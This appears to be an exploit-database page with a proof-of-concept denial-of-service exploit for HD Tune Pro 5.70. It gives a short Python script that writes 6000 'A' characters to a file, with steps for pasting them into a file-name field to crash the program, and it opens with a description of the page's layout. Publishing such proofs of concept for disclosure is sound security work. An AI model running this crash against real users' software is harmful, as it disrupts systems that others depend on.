



A vertical navigation sidebar on the left side of the page, featuring a dark orange background. It contains several white icons: a spider at the top, followed by a bug, a magnifying glass, a document, a server rack, a magnifying glass with a bug, a book, a house, and a graduation cap at the bottom.

The main content area is a white rectangular box with rounded corners. It features a terminal-like interface with horizontal lines representing text. A green checkmark is visible in the upper right. Below it, there are two blue horizontal lines. Further down, there is a download icon (a downward arrow) and a code icon (curly braces). At the bottom of the box, there are two circular orange buttons with white arrows pointing left and right.



```
# Exploit Title: HD Tune Pro 5.70 - Denial Of Service (PoC)
# Author: Gionathan "John" Reale
# Discovey Date: 2018-08-29
# Homepage: https://www.hdtune.com/
# Software Link: https://www.hdtune.com/download.html
# Tested Version: v5.70
# Tested on OS: Windows 7 32-bit
# Steps to Reproduce: Run the python exploit script, it will create a new
# file with the name "exploit.txt". Copy the content of the new file
# "exploit.txt".
# Now start the program, when inside the program click "File" > "Options.."
# > "Save". Now in the field named: "Folder / file name" paste the
# "exploit.txt" content copied eariler.
# Click "Apply" > "OK" and see a crash!
```

```
#!/usr/bin/python
```

```
buffer = "A" * 6000
```

```
payload = buffer
```

```
try:
```

```
    f=open("exploit.txt","w")
```

```
    print "[+] Creating %s bytes evil payload.." %len(payload)
```

```
    f.write(payload)
```

```
    f.close()
```

```
    print "[+] File created!"
```

```
except:
```

```
    print "File cannot be created"
```

